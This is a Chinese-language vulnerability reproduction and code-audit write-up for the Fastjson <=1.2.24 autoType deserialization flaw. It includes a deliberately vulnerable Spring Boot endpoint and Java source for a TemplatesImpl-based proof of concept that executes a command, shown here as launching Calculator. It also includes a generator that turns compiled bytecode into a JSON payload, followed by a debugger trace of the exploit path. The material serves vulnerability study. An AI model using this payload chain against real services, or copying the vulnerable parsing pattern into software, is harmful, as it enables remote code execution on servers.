Fastjson<=1.2.24漏洞复现
1 漏洞描述
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
2 受影响版本
fastjson<=1.2.24
3 漏洞验证
4 复现环境
jdk1.8+fastjson1.2.24
使用springboot搭建复现环境
maven依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
web代码片段
@PostMapping("/fastjson")
public JSONObject reflectHole(HttpServletRequest request) throws IOException {
String data = WebUtil.getRequestBody(request);
return JSON.parseObject(data, Feature.SupportNonPublicField);
}
5 审计分析
5.1 流程分析
5.2 代码分析
5.2.1 fastjson介绍及使用
fastjson`是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
以下是序列化操作和反序列化操作需要的函数
| 函数 | 作用 | | —- | —- |
|
| |
|
JSON.toJSONString(Object,SerializerFeature.WriteClassName)
| 将对象序列化成json
格式,并且记录了对象所属的类的信息
|
|
JSON.parse(Json)
| 将json
格式返回为对象(但是反序列化类对象没有@Type时会报错)
|
|
JSON.parseObject(Json)
| 返回对象是com.alibaba.fastjson.JSONObject
类
|
|
JSON.parseObject(Json, Object.class)
| 返回对象会根据json
中的@Type来决定
|
| JSON.parseObject(Json, Feature.SupportNonPublicField); | 会把Json数据对应的类中的私有成员也给还原 |
User.java代码
package fxlh.fastjson;
import com.alibaba.fastjson.JSONObject;
public class User{
private Long id;
private String name;
//增加get/set方法
public Long getId() { return id; }
public void setId(Long id) { this.id = id; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
}
fastjson使用演示
package fxlh.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test {
public static void main(String[] args) {
User guestUser = new User();
guestUser.setId(1L);
guestUser.setName("root");
//将java对象序列化为json对象
String jsonString1 = JSON.toJSONString(guestUser);
System.out.println("Json对象:" + jsonString1);
String ser2 = JSON.toJSONString(guestUser, SerializerFeature.WriteClassName);
System.out.println(ser2);
System.out.println("==============");
//将json反序列化为java对象
String jsonString2 = "{\"id\":2,\"name\":\"root\"}";
//如果使用下面的json数据进行反序列化,user类必须继承JsonObject类或其子类
// String jsonString2 = "{\"@type\":\"fxlh.fastjson.User\",\"id\":1,\"name\":\"guest\"}";
User user = JSON.parseObject(jsonString2, User.class);
//打印变量类型
System.out.println(user);
Object demo2User4 = JSON.parseObject(jsonString2, Feature.SupportNonPublicField);
System.out.println(demo2User4);
}
}
输出结果:
Json对象:{“id”:1,”name”:”root”}
{“@type”:”fxlh.fastjson.User”,”id”:1,”name”:”root”}
==============
fxlh.fastjson.User3581c5f3
{“name”:”root”,”id”:2}
对于 fastjson版本 <= 1.2.24
的情况,利用思路主要有2种
- 通过触发点
JSON.parseObject()
这个函数,将json
中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
并通过特意构造达到命令执行 - 通过
JNDI注入
5.2.2 POC准备
POC.java文件 ``` package fxlh.fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
/**
- @Author: white_xiaosheng
- @Description: TODO
- @CreateTime: 2021/1/17 2:07 下午
@Version 1.0 */ public class POC extends AbstractTranslet {
public POC() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
@Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
POC fastjsonPoc = new POC();
} }
生成payload的代码示例
package fxlh.fastjson;
import java.io.*; import java.util.Base64;
/**
- @Author: white_xiaosheng
- @Description: TODO
- @CreateTime: 2021/1/17 2:22 下午
@Version 1.0 */ public class ByteBuildByClassFile { public static void main(String[] args) throws IOException {
// poc的文件夹位置
String pocDirPath = "";
Runtime runtime = Runtime.getRuntime();
runtime.exec(new String[]{"/bin/bash", "-c", "cd "+pocDirPath+" && javac POC.java"});
FileInputStream fileInputStream = new FileInputStream(new File(pocDirPath+"POC.class"));
int len = fileInputStream.available();
byte[] bytes = new byte[len];
fileInputStream.read(bytes);
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+ Base64.getEncoder().encodeToString(bytes)+"\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
System.out.println(json);
} }
##### 5.2.3 **重要断点设置**
com.alibaba.fastjson.JSON.java
- `return parse(text, featureValues);`
- `Object value = parser.parse();`
com.alibaba.fastjson.parser.DefaultJSONParser.java
- `return parseObject(object, fieldName);`
- `return deserializer.deserialze(this, clazz, fieldName);`
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.java
- `return deserialze(parser, type, fieldName, null, features);`
- `boolean match = parseField(parser, key, object, type, fieldValues);`
com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.java
- `setValue(object, value);`
- `value = javaBeanDeser.deserialze(parser, fieldType, fieldInfo.name, fieldInfo.parserFeatures);`
- `value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);`
com/alibaba/fastjson/parser/JSONScanner.java
- `return IOUtils.decodeBase64(text, np + 1, sp);`
com.alibaba.fastjson.parser.deserializer.FieldDeserializer.java
- `Method method = fieldInfo.method;`
- `field.set(object, value);`
- `Map map = (Map) method.invoke(object);`
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.java
- `return newTransformer().getOutputProperties();`
- `transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);`
- `if (_class == null) defineTransletClasses();`
- `TransletClassLoader loader = (TransletClassLoader)`
- `_class[i] = loader.defineClass(_bytecodes[i]);`
- `AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance();`
##### 5.2.4 **数据流分析**
首先在自己的项目中打一个断点观察入口,这个漏洞利用方法必须要存在`Feature.SupportNonPublicField`设置(即允许private对象传入)<br /><br />可以一层一层的追踪数据流到这一步也可以根据断点设置直接跳到下一个断点<br /><br />这个可以看到调用fastjson的DefaultJSONParser解析器解析<br /><br />之后进入`DeafultJSONParser.java`通过switch判断,进入到`LBRACE`中<br /><br />进入下一个断点,config.getDeserializer(type);这个方法是根据入参类型获得反序列化器,然后执行反序列化操作<br /><br />进入了`JavaBeanDeserializer.java`中,这段主要是进行反序列化操作,这里可以看到传递过来的type类型<br /><br />跟入deserialze方法中,观察`_bytecodes`的数据,最后发现JSONScanner类会对_`_bytescodes`变量值执行base64解码操作。<br /><br />跟入下一个断点,进入到了FieldDeserializer.java中,setValue这个函数主要是给object类装配参数数据,第一次装配的是解码过的_bytecode参数值<br /><br />跟进setValue函数,查看其具体逻辑实现
/* 查看传递过来的value值的属性是方法(method)还是字段(field)属性,fieldinfo记录着value的属性信息,如果是method属性则通过反射实现该方法逻辑,如果不存在method属性存在field属性,则通过field.set(object,value)方法将传递的value值存放到object类的字段中(该类是TemplatesImpl类,即poc中的type字段) */ public void setValue(Object object, Object value) { … Method method = fieldInfo.method; if (method != null) { … Map map = (Map) method.invoke(object); … }else{ final Field field = fieldInfo.field; … field.set(object, value); } }
```
其数据流如下
继续跟进断点查看数据流
根据跟进,直到执行到method.invoke(object),这一步的执行完就可以根据poc触发漏洞。
为什么这个poc可以触发漏洞呢?跟进TemplatesImpl类观察逻辑,根据断点进入getOutputProperties方法
再跟进newTransformer方法
再跟进getTransletInstance方法,当传递的json数据未设置_class参数时,会进入defineTransletClasses()方法,重新定义类
继续跟进defineTransletClasses方法,根据_bytecodes定义一个新的类,这也是代码执行的关键所在
跟入下一个断点,执行该断点将会触发POC.class的代码内容,成功触发计算器